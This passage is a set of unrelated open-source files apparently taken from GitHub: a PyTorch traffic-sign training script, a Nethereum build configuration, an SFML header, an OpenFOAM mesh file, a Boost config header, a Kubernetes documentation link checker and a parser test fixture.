batch_size=batch_size_val,
shuffle=False)
return train_dataloader, val_dataloader
def relu_inplace(model):
for child_name, child in model.named_children():
if isinstance(child, torch.nn.ReLU):
setattr(model, child_name, torch.nn.ReLU(inplace=False))
else:
relu_inplace(child)
def train_model(epochs, batch_size_train, batch_size_val):
#check if GPU is available and set context
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
#get pretrained ResNet model
model = models.resnet18(pretrained=True)
#replace inplace operators
relu_inplace(model)
nfeatures = model.fc.in_features
#traffic sign dataset has 43 classes
model.fc = nn.Linear(nfeatures, 43)
#copy model to GPU or CPU
model = model.to(device)
# loss for multi label classification
loss_function = nn.CrossEntropyLoss()
# optimizer
optimizer = optim.SGD(model.parameters(), lr=args.learning_rate, momentum=args.momentum)
#configure smdebug hook:
#save all iterations from validation phase
#save only first iteration from training phase
save_config = smd.SaveConfig(mode_save_configs={
smd.modes.TRAIN: smd.SaveConfigMode(save_steps=[0]),
smd.modes.EVAL: smd.SaveConfigMode(save_interval=1)
})
#create custom hook that has a customized forward function, so that we can get gradients of outputs
hook = CustomHook(args.smdebug_dir, save_config=save_config, include_regex='.*bn|.*bias|.*downsample|.*ResNet_input|.*image|.*fc_output' )
#register hook
hook.register_module(model)
#get the dataloaders for train and test data
train_loader, val_loader = get_dataloaders(batch_size_train, batch_size_val)
#training loop
for epoch in range(epochs):
epoch_loss = 0
epoch_acc = 0
#set hook training phase
hook.set_mode(modes.TRAIN)
model.train()
for inputs, labels in train_loader:
inputs = inputs.to(device).requires_grad_()
labels = labels.to(device)
# zero the parameter gradients
optimizer.zero_grad()
# forward pass
outputs = model(inputs)
#get predictions
_, preds = torch.max(outputs, 1)
#compute loss
loss = loss_function(outputs, labels)
#backward pass
loss.backward()
#optimize parameters
optimizer.step()
# statistics
epoch_loss += loss.item()
epoch_acc += torch.sum(preds == labels.data)
#set hook validation phase
hook.set_mode(modes.EVAL)
model.eval()
for inputs, labels in val_loader:
inputs = inputs.to(device).requires_grad_()
hook.image_gradients(inputs)
model.eval()
#forward pass
outputs = model(inputs)
#get prediction
predicted_class = outputs.data.max(1, keepdim=True)[1]
agg = 0
for i in range(outputs.shape[0]):
agg += outputs[i,predicted_class[i]]
model.zero_grad()
#compute gradients with respect to outputs
agg.backward()
print('Epoch {}/{} Loss: {:.4f} Acc: {:.4f}'.format(
epoch, epochs - 1, epoch_loss, epoch_acc))
return model
if __name__ =='__main__':
parser = argparse.ArgumentParser()
# hyperparameters sent by the client are passed as command-line arguments to the script.
parser.add_argument('--epochs', type=int, default=20)
parser.add_argument('--batch_size_train', type=int, default=64)
parser.add_argument('--batch_size_val', type=int, default=4)
parser.add_argument('--learning_rate', type=float, default=0.001)
parser.add_argument('--momentum', type=float, default=0.9)
# Data, model, and output directories
parser.add_argument('--smdebug_dir', type=str, default=None)
#parse arguments
args, _ = parser.parse_known_args()
#train model
model = train_model(epochs=args.epochs, batch_size_train=args.batch_size_train, batch_size_val=args.batch_size_val)
|
{
"pile_set_name": "Github"
}
|
<Project>
<PropertyGroup>
<TargetNet35>true</TargetNet35>
<TargetNet461>false</TargetNet461>
<TargetNetCore>false</TargetNetCore>
<TargetNetStandard>false</TargetNetStandard>
<TargetUnityNet461AOT>false</TargetUnityNet461AOT>
<DefaultFrameworksUnitySupport Condition=" '$(TargetNet35)' == 'true' ">netstandard1.1;netstandard2.0;net35;net451;netcoreapp2.1;netcoreapp3.1</DefaultFrameworksUnitySupport>
<DefaultFrameworksUnitySupport Condition=" '$(TargetNet35)' == 'false' ">netstandard1.1;netstandard2.0;net451;netcoreapp2.1;netcoreapp3.1</DefaultFrameworksUnitySupport>
<DefaultFrameworksUnitySupport Condition=" '$(TargetNet461)' == 'true'">net461</DefaultFrameworksUnitySupport>
<DefaultFrameworksUnitySupport Condition=" '$(TargetNetCore)'== 'true'">netcoreapp2.1;netcoreapp3.1</DefaultFrameworksUnitySupport>
<DefaultFrameworksUnitySupport Condition=" '$(TargetNetStandard)'== 'true'">netstandard2.0</DefaultFrameworksUnitySupport>
<DefaultFrameworks>netstandard1.1;net451;netstandard2.0;netcoreapp2.1;netcoreapp3.1</DefaultFrameworks>
<DefaultFrameworks Condition=" '$(TargetNet461)' == 'true'">net461</DefaultFrameworks>
<DefaultFrameworks Condition=" '$(TargetNetCore)' == 'true'">netcoreapp2.1;netcoreapp3.1</DefaultFrameworks>
<DefaultFrameworks Condition=" '$(TargetNetStandard)' == 'true'">netstandard2.0</DefaultFrameworks>
<ENSFrameworks>net451;netstandard2.0;netcoreapp2.1;netcoreapp3.1</ENSFrameworks>
<ENSFrameworks Condition=" '$(TargetNet461)' == 'true'">net461</ENSFrameworks>
<ENSFrameworks Condition=" '$(TargetNetCore)' == 'true'">netcoreapp2.1;netcoreapp3.1</ENSFrameworks>
<ENSFrameworks Condition=" '$(TargetNetStandard)' == 'true'">netstandard2.0</ENSFrameworks>
<HdWalletFrameworks>netstandard1.1;netstandard2.0;net452;netcoreapp2.1;netcoreapp3.1</HdWalletFrameworks>
<HdWalletFrameworks Condition=" '$(TargetNet461)' == 'true'">net461;</HdWalletFrameworks>
<HdWalletFrameworks Condition=" '$(TargetNetCore)' == 'true'">netcoreapp2.1;netcoreapp3.1</HdWalletFrameworks>
<HdWalletFrameworks Condition=" '$(TargetNetStandard)' == 'true'">netstandard2.0;</HdWalletFrameworks>
<ExternalSignerFrameworks>netstandard2.0;net452;netcoreapp2.1</ExternalSignerFrameworks>
<ExternalSignerFrameworks Condition=" '$(TargetNet461)' == 'true'">net461;</ExternalSignerFrameworks>
<ExternalSignerFrameworks Condition=" '$(TargetNetCore)' == 'true'">netcoreapp2.1;netcoreapp3.1</ExternalSignerFrameworks>
<ExternalSignerFrameworks Condition=" '$(TargetNetStandard)' == 'true'">netstandard2.0;</ExternalSignerFrameworks>
<UnityFrameworks>net461;net35</UnityFrameworks>
<UnityFrameworks Condition=" '$(TargetNet461)' == 'true'">net461;</UnityFrameworks>
<IpcWebSocketsFrameworks>net461;netstandard1.3;netstandard2.0;netcoreapp2.1;netcoreapp3.1</IpcWebSocketsFrameworks>
<IpcWebSocketsFrameworks Condition=" '$(TargetNet461)' == 'true'">net461;</IpcWebSocketsFrameworks>
<IpcWebSocketsFrameworks Condition=" '$(TargetNetCore)' == 'true'">netcoreapp2.1;netcoreapp3.1</IpcWebSocketsFrameworks>
<IpcWebSocketsFrameworks Condition=" '$(TargetNetStandard)' == 'true'">netstandard2.0;</IpcWebSocketsFrameworks>
<ReactiveFrameworks>net461;netstandard2.0;netcoreapp2.1;netcoreapp3.1</ReactiveFrameworks>
<ReactiveFrameworks Condition=" '$(TargetNet461)' == 'true'">net461;</ReactiveFrameworks>
<ReactiveFrameworks Condition=" '$(TargetNetCore)' == 'true'">netcoreapp2.1;netcoreapp3.1</ReactiveFrameworks>
<ReactiveFrameworks Condition=" '$(TargetNetStandard)' == 'true'">netstandard2.0;</ReactiveFrameworks>
<PublishRepositoryUrl>true</PublishRepositoryUrl>
<IncludeSymbols>true</IncludeSymbols>
<SymbolPackageFormat>snupkg</SymbolPackageFormat>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="Microsoft.SourceLink.GitHub" Version="1.0.0" PrivateAssets="All" />
</ItemGroup>
<ItemGroup Condition=" '$(TargetFramework)' != 'net35' And '$(TargetUnityNet461AOT)' != 'true' And '$(MSBuildProjectName)' != 'Nethereum.HdWallet'">
<PackageReference Include="Newtonsoft.Json" Version="[10.0.3,13)" />
</ItemGroup>
<ItemGroup Condition="'$(MSBuildProjectName)' == 'Nethereum.HdWallet'">
<PackageReference Include="Newtonsoft.Json" Version="[11.0.2,13)" />
</ItemGroup>
<ItemGroup Condition=" '$(TargetFramework)' != 'net35' And '$(TargetFramework)' != 'net451' And '$(TargetFramework)' != 'net461'">
<PackageReference Include="Portable.BouncyCastle" Version="1.8.2" />
</ItemGroup>
<ItemGroup>
<Reference Condition="'$(TargetUnityNet461AOT)' == 'true' " Include="Newtonsoft.Json, Version=6.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>..\..\lib\Newtonsoft.Json.dll</HintPath>
</Reference>
</ItemGroup>
<PropertyGroup Condition=" '$(TargetFramework)' == 'netcoreapp2.1' Or '$(TargetFramework)' == 'netcoreapp3.1' Or '$(TargetFramework)' == 'netstandard1.1' Or '$(TargetFramework)' == 'net35' ">
<DefineConstants>$(DefineConstants);PCL</DefineConstants>
</PropertyGroup>
<ItemGroup Condition=" '$(TargetFramework)' == 'net451' Or '$(TargetFramework)' == 'net452' Or '$(TargetFramework)' == 'net461'">
<Reference Include="System" />
<Reference Include="System.Numerics" />
<Reference Include="Microsoft.CSharp" />
<PackageReference Include="BouncyCastle" Version="1.8.2" />
</ItemGroup>
<ItemGroup Condition=" '$(TargetFramework)' == 'netstandard2.0'">
<Reference Include="netstandard" />
<PackageReference Include="NETStandard.Library" Version="2.0.3" />
</ItemGroup>
</Project>
|
{
"pile_set_name": "Github"
}
|
////////////////////////////////////////////////////////////
//
// SFML - Simple and Fast Multimedia Library
// Copyright (C) 2007-2020 Marco Antognini (antognini.marco@gmail.com),
// Laurent Gomila (laurent@sfml-dev.org)
//
// This software is provided 'as-is', without any express or implied warranty.
// In no event will the authors be held liable for any damages arising from the use of this software.
//
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it freely,
// subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented;
// you must not claim that you wrote the original software.
// If you use this software in a product, an acknowledgment
// in the product documentation would be appreciated but is not required.
//
// 2. Altered source versions must be plainly marked as such,
// and must not be misrepresented as being the original software.
//
// 3. This notice may not be removed or altered from any source distribution.
//
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
// Headers
////////////////////////////////////////////////////////////
#import <AppKit/AppKit.h>
#import <Foundation/Foundation.h>
////////////////////////////////////////////////////////////
/// \brief Process some application specific events
///
////////////////////////////////////////////////////////////
@interface SFApplicationDelegate : NSObject <NSApplicationDelegate>
////////////////////////////////////////////////////////////
/// \brief React to a termination notification
///
/// Send a close message to all windows and cancel the termination.
///
////////////////////////////////////////////////////////////
-(NSApplicationTerminateReply)applicationShouldTerminate:(NSApplication*)sender;
////////////////////////////////////////////////////////////
/// \brief Exit the app when all windows are closed
///
////////////////////////////////////////////////////////////
-(BOOL)applicationShouldTerminateAfterLastWindowClosed:(NSApplication*)theApplication;
@end
|
{
"pile_set_name": "Github"
}
|
/*--------------------------------*- C++ -*----------------------------------*\
| ========= | |
| \\ / F ield | OpenFOAM: The Open Source CFD Toolbox |
| \\ / O peration | Version: 2.3.0 |
| \\ / A nd | Web: www.OpenFOAM.org |
| \\/ M anipulation | |
\*---------------------------------------------------------------------------*/
FoamFile
{
version 2.0;
format ascii;
class polyBoundaryMesh;
location "constant/polyMesh";
object boundary;
}
// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //
4
(
frontAndBack
{
type wall;
inGroups 1(wall);
nFaces 1050;
startFace 228225;
}
topAndBottom
{
type wall;
inGroups 1(wall);
nFaces 10500;
startFace 229275;
}
hot
{
type wall;
inGroups 1(wall);
nFaces 2250;
startFace 239775;
}
cold
{
type wall;
inGroups 1(wall);
nFaces 2250;
startFace 242025;
}
)
// ************************************************************************* //
|
{
"pile_set_name": "Github"
}
|
#ifndef AUTOBOOST_MPL_AUX_CONFIG_COMPILER_HPP_INCLUDED
#define AUTOBOOST_MPL_AUX_CONFIG_COMPILER_HPP_INCLUDED
// Copyright Aleksey Gurtovoy 2001-2008
//
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
//
// See http://www.boost.org/libs/mpl for documentation.
// $Id$
// $Date$
// $Revision$
#if !defined(AUTOBOOST_MPL_CFG_COMPILER_DIR)
# include <autoboost/mpl/aux_/config/dtp.hpp>
# include <autoboost/mpl/aux_/config/ttp.hpp>
# include <autoboost/mpl/aux_/config/ctps.hpp>
# include <autoboost/mpl/aux_/config/msvc.hpp>
# include <autoboost/mpl/aux_/config/gcc.hpp>
# include <autoboost/mpl/aux_/config/workaround.hpp>
# if AUTOBOOST_WORKAROUND(AUTOBOOST_MSVC, < 1300)
# define AUTOBOOST_MPL_CFG_COMPILER_DIR msvc60
# elif AUTOBOOST_WORKAROUND(AUTOBOOST_MSVC, == 1300)
# define AUTOBOOST_MPL_CFG_COMPILER_DIR msvc70
# elif AUTOBOOST_WORKAROUND(AUTOBOOST_MPL_CFG_GCC, AUTOBOOST_TESTED_AT(0x0304))
# define AUTOBOOST_MPL_CFG_COMPILER_DIR gcc
# elif AUTOBOOST_WORKAROUND(__BORLANDC__, AUTOBOOST_TESTED_AT(0x610))
# if !defined(AUTOBOOST_MPL_CFG_NO_DEFAULT_PARAMETERS_IN_NESTED_TEMPLATES)
# define AUTOBOOST_MPL_CFG_COMPILER_DIR bcc551
# elif AUTOBOOST_WORKAROUND(__BORLANDC__, >= 0x590)
# define AUTOBOOST_MPL_CFG_COMPILER_DIR bcc
# else
# define AUTOBOOST_MPL_CFG_COMPILER_DIR bcc_pre590
# endif
# elif AUTOBOOST_WORKAROUND(__DMC__, AUTOBOOST_TESTED_AT(0x840))
# define AUTOBOOST_MPL_CFG_COMPILER_DIR dmc
# elif defined(__MWERKS__)
# if defined(AUTOBOOST_MPL_CFG_BROKEN_DEFAULT_PARAMETERS_IN_NESTED_TEMPLATES)
# define AUTOBOOST_MPL_CFG_COMPILER_DIR mwcw
# else
# define AUTOBOOST_MPL_CFG_COMPILER_DIR plain
# endif
# elif defined(AUTOBOOST_NO_TEMPLATE_PARTIAL_SPECIALIZATION)
# define AUTOBOOST_MPL_CFG_COMPILER_DIR no_ctps
# elif defined(AUTOBOOST_MPL_CFG_NO_TEMPLATE_TEMPLATE_PARAMETERS)
# define AUTOBOOST_MPL_CFG_COMPILER_DIR no_ttp
# else
# define AUTOBOOST_MPL_CFG_COMPILER_DIR plain
# endif
#endif // AUTOBOOST_MPL_CFG_COMPILER_DIR
#endif // AUTOBOOST_MPL_AUX_CONFIG_COMPILER_HPP_INCLUDED
|
{
"pile_set_name": "Github"
}
|
#!/usr/bin/env python3
#
# This a link checker for Kubernetes documentation website.
# - We cover the following cases for the language you provide via `-l`, which
# defaults to 'en'.
# - If the language specified is not English (`en`), we check if you are
# actually using the localized links. For example, if you specify `zh` as
# the language, and for link target `/docs/foo/bar`, we check if the English
# version exists AND if the Chinese version exists as well. A checking record
# is produced if the link can use the localized version.
#
# Usage: linkchecker.py -h
#
# Cases handled:
#
# - [foo](#bar) : ignored currently
# + [foo](http://bar) : insecure links to external site
# + [foo](https://k8s.io/website/...) : hardcoded site domain name
#
# + [foo](/<lang>/docs/bar/...) : where <lang> is not 'en'
# + /<lang>/docs/bar : contains shortcode, so ignore, or
# + /<lang>/docs/bar : is a image link (ignore currently), or
# + /<lang>/docs/bar : points to shared (non-localized) page, or
# + /<lang>/docs/bar.md : exists for current lang, or
# + /<lang>/docs/bar/_index.md : exists for current lang, or
# + /<lang>/docs/bar/ : is a redirect entry, or
# + /<lang>/docs/bar : is something we don't understand, then ERR
#
# + [foo](/docs/bar/...)
# + /docs/bar : contains shortcode, so ignore, or
# + /docs/bar : is a image link (ignore currently), or
# + /docs/bar : points to a shared (non-localized) page, or
# + /docs/bar.md : exists for current lang, or
# + /docs/bar/_index.md : exists for current lang, or
# + /docs/bar : is a redirect entry, or
# + /docs/bar : is something we don't understand
#
import argparse
import glob
import os
import re
import sys
# These are the bad links that doesn't hurt, though good to fix
BAD_LINK_TYPES = {
"B01": {
"reason": "Using bad protocol",
"level": "WARNING",
},
"B02": {
"reason": "Link target is a redirect entry",
"level": "WARNING",
},
"B03": {
"reason": "Intra-site linkes should use relative path",
"level": "WARNING",
},
}
# Constants for colored printing
C_RED = "\033[31m"
C_GREEN = "\033[32m"
C_YELLOW = "\033[33m"
C_GRAY = "\033[90m"
C_CYAN = "\033[36m"
C_END = "\033[0m"
# Command line arguments shared across functions
ARGS = None
# Global result dictionary keyed by page examined
RESULT = {}
# Cached redirect entries
REDIRECTS = {}
def new_record(level, message, target):
"""Create new checking record.
:param level: Record severity level, one of 'INFO', 'WARNING' and 'ERROR'
:param message: Error message string
:param target: The link target in question
:returns: A string representation the checking result, may contain ASCII
coded terminal colors, or None if the record is suppressed.
"""
global ARGS
# Skip info when verbose
if ARGS.verbose == False and level == "INFO":
return None
result = None
if ARGS.no_color:
result = target + ": " + message
else:
target = C_GRAY + target + C_END
if level == "INFO":
result = target + ": " + C_GREEN + message + C_END
elif level == "WARNING":
result = target + ": " + C_YELLOW+ message + C_END
else: # default to error
result = target + ": " + C_RED + message + C_END
return result
def dump_result():
"""Dump result to stdout."""
global RESULT, ARGS
for path, path_output in RESULT.items():
norm_path = os.path.normpath(path)
if ARGS.no_color:
print("File: " + norm_path)
else:
print(C_CYAN + "File: " + norm_path + C_END)
for p in path_output:
print(" "*4 + p)
return
def strip_comments(content):
"""Manual striping of comments from file content.
Many localized content pages contain original English content in comments.
These comments have to be stripped out before analyzing the links.
Doing this using regular expression is difficult. Even the grep tool is
not suitable for this use case.
NOTE: We strived to preserve line numbers when producing the resulted
text. This can be useful in future if we want to print out the line
numbers for bad links.
"""
result = []
in_comment = False
for line in content:
idx1 = line.find("<!--")
idx2 = line.find("-->")
if not in_comment:
# only care if new comment started
if idx1 < 0:
result.append(line)
continue
# single line comment
if idx2 > 0:
result.append(line[:idx1] + line[idx2+4:])
continue
result.append(line[:idx1])
in_comment = True
continue
# already in comment block
if idx2 < 0: # ignore whole line
result.append("")
continue
result.append(line[idx2+4:])
in_comment = False
return result
def normalize_filename(name, ftype="markdown"):
"""Guess the filename based on a link target.
This function only deals with regular files.
"""
if name.endswith("/"):
name = name[:-1]
if ftype == "markdown":
name += ".md"
else:
name += ".html"
return name
def check_file_exists(base, path, ftype="markdown"):
"""Check if the target file exists.
NOTE: We build a normalized path using 'base' and 'path' values. Suppose
the resulted path string is 'foo/bar', we check if 'foo/bar.md' exists,
AND we check if 'foo/bar/_index.md' exists.
:param base: The base directory to begin with
:param path: The link target which is a relative path string
:returns: A boolean indicating whether the target file exists.
"""
# NOTE: anchor is ignored, can be a todo item
parts = path.split("#")
fn = normalize_filename(parts[0], ftype=ftype)
target = base + fn
if os.path.isfile(target):
return True
dir_name = base + parts[0]
if os.path.isdir(dir_name):
if os.path.isfile(dir_name + "/_index.md"):
return True
if os.path.isfile(dir_name + "/_index.html"):
return True
# /docs/contribute/style/hugo-shortcodes/ has this
if os.path.isfile(dir_name + "/index.md"):
return True
return False
def get_redirect(path):
"""Check if the path exists in the redirect database.
NOTE: We do NOT check if the redirect target is there or not. We do an
**exact** matching for redirection entries.
:returns: The redirect target if any, or None if not found.
"""
global REDIRECTS
def _check_redirect(t):
for key, value in REDIRECTS.items():
if key == t: # EXACT MATCH
return value
return None
# NOTE: anchor is ignored, can be a future todo
parts = path.split("#")
target = parts[0]
if not target.endswith("/"):
target += "/"
new_target = _check_redirect(target)
last_target = new_target
while new_target:
new_target = _check_redirect(new_target)
if new_target is None:
break
last_target = new_target
return last_target
def check_target(page, anchor, target):
"""Check a link from anchor to target on provided page.
:param page: Currently not used. Passed here in case we want to check the
in-page links in the future.
:param anchor: Anchor string from the content page. This is provided to
help handle cases where target is empty.
:param target: The link target string to check
:returns: A checking record (string) if errors found, or None if we can
find the target link.
"""
target = target.strip()
# B01: bad protocol
if target.startswith("http://"):
return new_record("WARNING", "Use HTTPS rather than HTTP", target)
# full link
if target.startswith("https://"):
# B03: self link, should revise to relative path
if (target.startswith("https://k8s.io/docs") or
target.startswith("https://kubernetes.io/docs")):
return new_record("ERROR", "Should use relative paths", target)
# external link, skip
return new_record("INFO", "External link, skipped", target)
# in-page link
# TODO: check if the target anchor does exists
if target.startswith("#"):
return new_record("INFO", "In-page link, skipped", target)
# Link has shortcode
if target.find("{{") > 0:
return new_record("INFO", "Link has shortcode, skipped", target)
# TODO: check links to examples
if target.startswith("/examples/"):
return new_record("WARNING", "Examples link, skipped", target)
# it is an embedded image
# TODO: an image might get translated as well
if target.endswith(".png") or target.endswith(".svg"):
return new_record("INFO", "Link to image, skipped", target)
# link to English or localized page
if (target.startswith("/docs/") or
target.startswith("/" + ARGS.lang + "/docs/")):
# target is shared reference (kubectl or kubernetes-api?
if (target.find("/docs/reference/generated/kubectl/") >= 0 or
target.find("/docs/reference/generated/kubernetes-api/") >= 0):
if check_file_exists(ROOT + "/static", target, "html"):
return None
return new_record("ERROR", "Missing shared reference", target)
# target is a markdown (.md) or a "<dir>/_index.md"?
if target.startswith("/docs/"):
base = os.path.join(ROOT, "content", "en")
else:
# localized target
base = os.path.join(ROOT, "content")
ok = check_file_exists(base, target)
if ok:
# We do't do additional checks for English site even if it has
# links to a non-English page
if ARGS.lang == "en":
return None
# If we are already checking localized link, fine
if target.startswith("/" + ARGS.lang + "/docs/"):
return None
# additional check for localization even if English target exists
base = os.path.join(ROOT, "content", ARGS.lang)
found = check_file_exists(base, target)
if not found:
# Still to be translated
return None
msg = ("Localized page detected, please append '/%s' to the target"
% ARGS.lang)
return new_record("ERROR", "Link not using localized page", target)
# taget might be a redirect entry
real_target = get_redirect(target)
if real_target:
msg = ("Link using redirect records, should use %s instead" %
real_target)
return new_record("WARNING", msg, target)
return new_record("ERROR", "Missing link for [%s]" % anchor, target)
msg = "Link may be wrong for the anchor [%s]" % anchor
return new_record("WARNING", msg, target)
def validate_links(page):
"""Find and validate links on a content page.
The checking records are consolidated into the global variable RESULT.
"""
try:
with open(page, "r") as f:
data = f.readlines()
except Exception as ex:
print("[Error] failed in reading markdown file: " + str(ex))
return
content = "\n".join(strip_comments(data))
# Single results: searches for pattern: []()
link_pattern = r"\[([`/\w\s\n]*)\]\(([^\)]*)\)"
regex = re.compile(link_pattern)
matches = regex.findall(content)
records = []
for m in matches:
r = check_target(page, m[0], m[1])
if r:
records.append(r)
if len(records):
RESULT[page] = records
def parse_arguments():
"""Argument parser.
Result is returned and saved into global variable ARGS.
"""
parser = argparse.ArgumentParser(description="Links checker for docs.")
parser.add_argument("-l", dest="lang", default="en", metavar="<LANG>",
help=("two letter language code, e.g. 'zh'. "
"(default='en')"))
parser.add_argument("-v", dest="verbose", action="store_true",
help="switch on verbose level")
parser.add_argument("-f", dest="filter", default="/docs/**/*.md",
metavar="<FILTER>",
help=("File pattern to scan, e.g. '/docs/foo.md'. "
"(default='/docs/foo/*.md')"))
parser.add_argument("-n", "--no-color", action="store_true",
help="Suppress colored printing.")
return parser.parse_args()
def main():
"""The main entry of the program."""
global ARGS, ROOT, REDIRECTS
ARGS = parse_arguments()
print("Language: " + ARGS.lang)
ROOT = os.path.join(os.path.dirname(__file__), '..')
content_dir = os.path.join(ROOT, 'content')
lang_dir = os.path.join(content_dir, ARGS.lang)
# read redirects data
redirects_fn = os.path.join(ROOT, "static", "_redirects")
try:
with open(redirects_fn, "r") as f:
data = f.readlines()
for item in data:
parts = item.split()
# There are entries without 301 specified
if len(parts) < 2:
continue
entry = parts[0]
# There are some entries not ended with "/"
if entry.endswith("/"):
REDIRECTS[entry] = parts[1]
else:
REDIRECTS[entry + "/"] = parts[1]
except Exception as ex:
print("[Error] failed in reading redirects file: " + str(ex))
return
folders = [f for f in glob.glob(lang_dir + ARGS.filter, recursive=True)]
for page in folders:
validate_links(page)
dump_result()
# Done
print("Completed link validation.")
if __name__ == '__main__':
sys.exit(main())
|
{
"pile_set_name": "Github"
}
|
{
"type": "Program",
"body": [
{
"type": "ExpressionStatement",
"expression": {
"type": "Literal",
"value": 42,
"raw": "42",
"range": [
3,
5
],
"loc": {
"start": {
"line": 2,
"column": 0
},
"end": {
"line": 2,
"column": 2
}
}
},
"leadingComments": [
{
"type": "Line",
"value": "",
"range": [
0,
2
],
"loc": {
"start": {
"line": 1,
"column": 0
},
"end": {
"line": 1,
"column": 2
}
}
}
],
"range": [
3,
5
],
"loc": {
"start": {
"line": 2,
"column": 0
},
"end": {
"line": 2,
"column": 2
}
}
}
],
"sourceType": "script",
"comments": [
{
"type": "Line",
"value": "",
"range": [
0,
2
],
"loc": {
"start": {
"line": 1,
"column": 0
},
"end": {
"line": 1,
"column": 2
}
}
}
],
"tokens": [
{
"type": "Numeric",
"value": "42",
"range": [
3,
5
],
"loc": {
"start": {
"line": 2,
"column": 0
},
"end": {
"line": 2,
"column": 2
}
}
}
],
"range": [
3,
5
],
"loc": {
"start": {
"line": 2,
"column": 0
},
"end": {
"line": 2,
"column": 2
}
}
}
|
{
"pile_set_name": "Github"
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.